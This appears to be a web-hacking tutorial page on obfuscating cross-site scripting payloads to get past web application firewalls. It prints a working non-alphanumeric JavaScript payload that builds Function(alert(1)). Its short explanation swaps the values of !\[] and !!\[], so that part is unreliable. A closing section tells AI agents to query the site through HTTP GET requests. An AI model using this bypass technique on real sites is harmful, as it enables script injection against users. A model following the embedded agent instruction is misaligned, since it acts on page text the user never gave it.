# Week 10 - XSS Obfuscated Payloads

## Obfuscated XSS Payloads

It’s week 10 of the Web Hacking Series, and today we’ll be obfuscating Cross-Site Scripting payloads.  Have you encountered a Web Application Firewall (WAF) that prevented you from executing JavaScript? Did you know it’s possible to execute JavaScript code without LETTERS or NUMBERS? See below:\
 \
``[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]`$${[!{}+[]][+[]][+!+[]]+[!{}+[]][+[]][+!+[]+!+[]]+[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]+[!![]+[]][+[]][+!+[]]+[!![]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]}$```//Function(alert(1))``\
 \
The above payload works by using JavaScript’s built-in objects, methods, and values as a starting base. It's then possible to construct words like ‘alert’ by extracting each letter from our already existing base (the letter ‘a’ in alert can be taken from ‘False’). These base objects, methods, and values can be represented non-alphanumerically:\
 \
!\[] => True\
!!\[] => False\
\[] => Array\
+\[] => Number\
 \
And as displayed in the screenshot below, you can finally pop that alert box!

![SRC: https://portswigger.net/research/executing-non-alphanumeric-javascript-without-parenthesis](/files/6yi1UTOIH4H83LsSvhqZ)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.webhackingtips.com/weekly-tips/week-10-xss-obfuscated-payloads.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.